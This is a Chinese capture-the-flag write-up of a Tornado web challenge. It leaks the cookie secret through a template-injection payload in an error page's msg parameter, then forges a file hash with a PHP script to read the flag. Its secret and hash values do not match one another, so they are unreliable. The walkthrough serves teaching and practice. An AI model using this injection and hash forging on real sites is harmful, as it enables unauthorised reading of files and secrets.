1 2 3
| /flag.txt /welcome.txt /hints.txt
|
一进来就显示了三个文件链接,逐个点击可以看到这些信息
1 2 3 4 5 6 7 8
| /flag.txt flag in /fllllllllllllag
/welcome.txt render
/hints.txt md5(cookie_secret+md5(filename))
|
在我点击/hints.txt链接时查看url,发现有两个参数
1
| /file?filename=/hints.txt&filehash=05b55adc14442d7cfe3e7632f6abd0c7
|
一个是文件路径,一个是一串32为十六进制字符串,根据hint.txt文件名可以判断这串是一个md5加密
当我觉得要爆破cookie_secret时突然发现,如果md5(cookie_secret+md5(filename))生成的值和文件名不对应时会跳转的error路由
在这里发现有一个传参是msg,从题目的名字可以看出这个题目是一个tornado框架,我们可以试试tornado模板注入
在这里发现传入’,”,*,(,)都只会响应三个字符,判断这是被过滤了,我们查看一下配置
1 2 3 4
| /error?msg={{handler.settings}}
响应: {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '044afd92-ce27-41f7-8cfd-d4f995eabc86'}
|
这里得到了cookie_secret就好办了
写一个hash生成脚本
1 2 3
| <?php
echo md5("95c654c1-e316-4e16-95ea-abce3f7b14e4" . md5("/fllllllllllllag"));
|
得到bca10042184e7b972e570234cb668162
1 2 3 4 5 6
| /file?filename=/fllllllllllllag&filehash=3a9dd97d1bb2b20141f6739f9f65748b
响应
/fllllllllllllag flag{4d5cc285-8ff4-44cf-962d-fef255d3d318}
|